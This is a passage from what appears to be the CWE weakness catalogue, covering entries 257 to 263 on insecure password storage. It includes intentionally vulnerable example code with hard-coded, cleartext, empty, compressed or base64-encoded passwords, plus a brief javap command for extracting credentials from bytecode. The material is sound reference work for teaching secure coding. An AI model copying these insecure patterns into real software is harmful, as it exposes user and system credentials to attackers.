## CWE-257: Storing Passwords in a Recoverable Format

Weakness ID : 257

**Structure** : Simple  
**Abstraction** : Base





## Description

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1157
PeerOf		259	Use of Hard-coded Password	591
PeerOf		259	Use of Hard-coded Password	591
PeerOf		798	Use of Hard-coded Credentials	1573

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Access Control	<i>User's passwords may be revealed.</i>	
Access Control	Gain Privileges or Assume Identity <i>Revealed passwords may be reused elsewhere to impersonate the users in question.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

Use strong, non-reversible encryption to protect stored passwords.

## Demonstrative Examples

**Example 1:**

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C

(Bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java

(Bad)

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

### Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(Bad)

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(Bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Maintenance

The meaning of this entry needs to be investigated more closely, especially with respect to what is meant by "recoverable."

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Storing passwords in a recoverable format
Software Fault Patterns	SFP23		Exposed Data

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
49	Password Brute Forcing

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-258: Empty Password in Configuration File

**Weakness ID** : 258

**Structure** : Simple

**Abstraction** : Variant

## Description

Using an empty string as a password is insecure.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	521	Weak Password Requirements	1154
ChildOf	B	260	Password in Configuration File	596

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2217

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

### Demonstrative Examples

#### Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		254	7PK - Security Features	700	2106
MemberOf		950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2189

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Empty Password in Configuration File

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

## CWE-259: Use of Hard-coded Password

**Weakness ID :** 259  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

### Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the product contains an authentication mechanism that checks for a hard-coded password.

Outbound: the product connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	1573
PeerOf	<b>B</b>	257	Storing Passwords in a Recoverable Format	586
PeerOf	<b>V</b>	321	Use of Hard-coded Cryptographic Key	745
PeerOf	<b>B</b>	257	Storing Passwords in a Recoverable Format	586
CanFollow	<b>B</b>	656	Reliance on Security Through Obscurity	1359

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1010	Authenticate Actors	2217

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	1573

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	1573

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** ICS/OT (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.</i>	

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

### Potential Mitigations



**Phase: Architecture and Design**

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

**Phase: Architecture and Design**

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

**Phase: Architecture and Design**

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

**Phase: Architecture and Design**

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

**Phase: Architecture and Design**

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

**Demonstrative Examples****Example 1:**

The following code uses a hard-coded password to connect to a database:

*Example Language: Java*

*(Bad)*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

*Example Language:*

*(Attack)*

```
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsq
24: ldc #38; //String scott
```

```
26: ldc #17; //String tiger
```

### Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C

(Bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java

(Bad)

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(Bad)

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(Bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

### Example 4:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.

### Observed Examples

Reference	Description
<b>CVE-2022-29964</b>	Distributed Control System (DCS) has hard-coded passwords for local shell access <a href="https://www.cve.org/CVERecord?id=CVE-2022-29964">https://www.cve.org/CVERecord?id=CVE-2022-29964</a>
<b>CVE-2021-37555</b>	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288] <a href="https://www.cve.org/CVERecord?id=CVE-2021-37555">https://www.cve.org/CVERecord?id=CVE-2021-37555</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	2106
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2146
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2189
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Notes

#### Maintenance

This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Hard-Coded Password
CLASP			Use of hard-coded password
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
Software Fault Patterns	SFP33		Hardcoded sensitive data

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1288]Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021 June 7. < <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf> >.

[REF-1304]ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013 June 3. < <https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-13-164-01> >.2022-10-11.

## CWE-260: Password in Configuration File

**Weakness ID** : 260

**Structure** : Simple

**Abstraction** : Base

### Description

The product stores a password in a configuration file that might be accessible to actors who do not know the password.

### Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1157
ParentOf		13	ASP.NET Misconfiguration: Password in Configuration File	12
ParentOf		258	Empty Password in Configuration File	589
ParentOf		555	J2EE Misconfiguration: Plaintext Password in Configuration File	1197

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Potential Mitigations

### Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

### Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

## Demonstrative Examples

### Example 1:

Below is a snippet from a Java properties file.

*Example Language: Java*

*(Bad)*

```
webapp ldap.username = secretUsername
webapp ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

### Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

## Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	2106
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Password in Configuration File

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

## CWE-261: Weak Encoding for Password

**Weakness ID** : 261  
**Structure** : Simple  
**Abstraction** : Base

### Description

Obscuring a password with a trivial encoding does not protect the password.

### Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	522	Insufficiently Protected Credentials	1157

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	255	Credentials Management Errors	2107
MemberOf	<b>C</b>	310	Cryptographic Issues	2111

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

### Demonstrative Examples

#### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(Bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

#### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: C#*

*(Bad)*

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = new NetworkCredential(username,decVal.toString(),domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	254	7PK - Security Features	700	2106
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131



Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Other

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Weak Cryptography
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-262: Not Using Password Aging

**Weakness ID** : 262

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not have a mechanism in place for managing password aging.

### Extended Description




Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. Without mechanisms such as aging, users might not change their passwords in a timely manner.

Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
PeerOf		309	Use of Password System for Primary Authentication	716
PeerOf		324	Use of a Key Past its Expiration Date	752

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>As passwords age, the probability that they are compromised grows.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

As part of a product's design, require users to change their passwords regularly and avoid reusing previous passwords.

#### Phase: Implementation

Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].

*Effectiveness = Discouraged Common Practice*

### Demonstrative Examples

#### Example 1:

A system does not enforce the changing of passwords every certain period.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		884	CWE Cross-section	884	2327

Nature	Type	ID	Name	V	Page
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Not allowing password aging

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
509	Kerberoasting
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

### References

- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-1305]Kurt Seifried and other members of the CWE-Research mailing list. "Discussion Thread: Time to retire CWE-262 and CWE-263". 2021 December 3. < <https://www.mail-archive.com/cwe-research-list@mitre.org/msg00018.html> >.2022-10-11.
- [REF-1289]Lance Spitzner. "Time for Password Expiration to Die". 2021 June 7. < <https://www.sans.org/blog/time-for-password-expiration-to-die/> >.
- [REF-1290]Lorrie Cranor. "Time to rethink mandatory password changes". 2016 March 2. < >.
- [REF-1291]Eugene Spafford. "Security Myths and Passwords". 2006 April 9. < <https://www.cerias.purdue.edu/site/blog/post/password-change-myths/> >.
- [REF-1292]National Cyber Security Centre. "Password administration for system owners". 2018 November 9. < <https://www.ncsc.gov.uk/collection/passwords/updating-your-approach> >.
- [REF-1293]NIST. "Digital Identity Guidelines: Authentication and Lifecycle Management(SP 800-63B)". 2017 June. < <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf> >.
- [REF-1294]National Cyber Security Centre. "Let them paste passwords". 2017 January 2. < <https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords> >.

## CWE-263: Password Aging with Long Expiration

**Weakness ID** : 263

**Structure** : Simple

**Abstraction** : Base

### Description

The product supports password aging, but the expiration period is too long.

## Extended Description

Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. A long expiration provides more time for attackers to conduct password cracking before users are forced to change to a new password.

